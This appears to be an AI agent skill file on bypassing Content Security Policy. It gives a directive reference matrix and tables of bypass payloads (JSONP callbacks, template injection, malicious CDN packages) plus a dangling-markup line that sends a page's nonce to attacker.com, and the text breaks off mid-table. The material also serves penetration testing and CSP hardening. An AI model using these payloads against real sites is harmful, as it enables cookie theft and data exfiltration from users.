$npx -y skills add Prohao42/aimy-skill --skill csp-bypass-advancedAdvanced Content Security Policy bypass techniques. Use when XSS or data exfiltration is blocked by CSP and you need to find policy weaknesses, trusted endpoint abuse, nonce leakage, or exfiltration channels that CSP cannot block.
| 1 | # SKILL: CSP Bypass — Advanced Techniques |
| 2 | |
| 3 | > **AI LOAD INSTRUCTION**: Covers per-directive bypass techniques, nonce/hash abuse, trusted CDN exploitation, data exfiltration despite CSP, and framework-specific bypasses. Base models often suggest `unsafe-inline` bypass without checking if the CSP actually uses it, or miss the critical `base-uri` and `object-src` gaps. |
| 4 | |
| 5 | ## 0. RELATED ROUTING |
| 6 | |
| 7 | - [xss-cross-site-scripting](../xss-cross-site-scripting/SKILL.md) for XSS vectors to deliver after CSP bypass |
| 8 | - [dangling-markup-injection](../dangling-markup-injection/SKILL.md) when CSP blocks scripts but HTML injection exists — exfiltrate without JS |
| 9 | - [crlf-injection](../crlf-injection/SKILL.md) when CRLF can inject CSP header or steal nonce via response splitting |
| 10 | - [waf-bypass-techniques](../waf-bypass-techniques/SKILL.md) when both WAF and CSP must be bypassed |
| 11 | - [clickjacking](../clickjacking/SKILL.md) when CSP lacks `frame-ancestors` — clickjacking still possible |
| 12 | |
| 13 | --- |
| 14 | |
| 15 | ## 1. CSP DIRECTIVE REFERENCE MATRIX |
| 16 | |
| 17 | | Directive | Controls | Default Fallback | |
| 18 | |---|---|---| |
| 19 | | `default-src` | Fallback for all `-src` directives not explicitly set | None (browser default: allow all) | |
| 20 | | `script-src` | JavaScript execution | `default-src` | |
| 21 | | `style-src` | CSS loading | `default-src` | |
| 22 | | `img-src` | Image loading | `default-src` | |
| 23 | | `connect-src` | XHR, fetch, WebSocket, EventSource | `default-src` | |
| 24 | | `frame-src` | iframe/frame sources | `default-src` | |
| 25 | | `font-src` | Font loading | `default-src` | |
| 26 | | `object-src` | `<object>`, `<embed>`, `<applet>` | `default-src` | |
| 27 | | `media-src` | `<audio>`, `<video>` | `default-src` | |
| 28 | | `base-uri` | `<base>` element | **No fallback** — unrestricted if absent | |
| 29 | | `form-action` | Form submission targets | **No fallback** — unrestricted if absent | |
| 30 | | `frame-ancestors` | Who can embed this page (replaces X-Frame-Options) | **No fallback** — unrestricted if absent | |
| 31 | | `report-uri` / `report-to` | Where violation reports are sent | N/A | |
| 32 | | `navigate-to` | Navigation targets (limited browser support) | **No fallback** | |
| 33 | |
| 34 | **Critical insight**: `base-uri`, `form-action`, and `frame-ancestors` do NOT fall back to `default-src`. Their absence is always a potential bypass vector. |
| 35 | |
| 36 | --- |
| 37 | |
| 38 | ## 2. BYPASS TECHNIQUES BY DIRECTIVE |
| 39 | |
| 40 | ### 2.1 `script-src 'self'` |
| 41 | |
| 42 | The app only allows scripts from its own origin. Bypass vectors: |
| 43 | |
| 44 | | Vector | Technique | |
| 45 | |---|---| |
| 46 | | JSONP endpoints | `<script src="/api/jsonp?callback=alert(1)//"></script>` — JSONP reflects callback as JS | |
| 47 | | Uploaded JS files | Upload `.js` file (e.g., avatar upload accepts any extension) → `<script src="/uploads/evil.js"></script>` | |
| 48 | | DOM XSS sinks | Find DOM sinks (innerHTML, eval, document.write) in existing same-origin JS — inject via URL fragment/param | |
| 49 | | Angular/Vue template injection | If framework is loaded from `'self'`, inject template expressions: `{{constructor.constructor('alert(1)')()}}` | |
| 50 | | Service Worker | Register SW from same origin → intercept and modify responses | |
| 51 | | Path confusion | `<script src="/user-content/;/legit.js">` — server returns user content due to path parsing, but URL matches `'self'` | |
| 52 | |
| 53 | ### 2.2 `script-src` with CDN Whitelist |
| 54 | |
| 55 | ``` |
| 56 | script-src 'self' *.googleapis.com *.gstatic.com cdn.jsdelivr.net |
| 57 | ``` |
| 58 | |
| 59 | | Whitelisted CDN | Bypass | |
| 60 | |---|---| |
| 61 | | `cdnjs.cloudflare.com` | Host arbitrary JS via CDNJS (find lib with callback/eval): `angular.js` → template injection | |
| 62 | | `cdn.jsdelivr.net` | jsdelivr serves any npm package or GitHub file: `cdn.jsdelivr.net/npm/attacker-package@1.0.0/evil.js` | |
| 63 | | `*.googleapis.com` | Google JSONP endpoints, Google Maps callback parameter | |
| 64 | | `unpkg.com` | Same as jsdelivr — serves arbitrary npm packages | |
| 65 | | `*.cloudfront.net` | CloudFront distributions are shared — any CF customer's JS is allowed | |
| 66 | |
| 67 | **Trick**: Search for JSONP endpoints on whitelisted domains: `site:googleapis.com inurl:callback` |
| 68 | |
| 69 | ### 2.3 `script-src 'unsafe-eval'` |
| 70 | |
| 71 | `eval()`, `Function()`, `setTimeout(string)`, `setInterval(string)` all permitted. |
| 72 | |
| 73 | ```javascript |
| 74 | // Template injection → RCE-equivalent in browser |
| 75 | [].constructor.constructor('alert(document.cookie)')() |
| 76 | |
| 77 | // JSON.parse doesn't execute code, but if result is used in eval context: |
| 78 | // App does: eval('var x = ' + JSON.parse(userInput)) |
| 79 | ``` |
| 80 | |
| 81 | ### 2.4 `script-src 'nonce-xxx'` |
| 82 | |
| 83 | Only scripts with matching nonce attribute execute. |
| 84 | |
| 85 | | Bypass | Condition | |
| 86 | |---|---| |
| 87 | | Nonce reuse | Server uses same nonce across requests or for all users → predictable | |
| 88 | | Nonce injection via CRLF | CRLF in response header → inject new CSP header with known nonce, or inject `<script nonce="known">` | |
| 89 | | Dangling markup to steal nonce | `<img src="https://attacker.com/steal?` (unclosed) → page content including nonce l |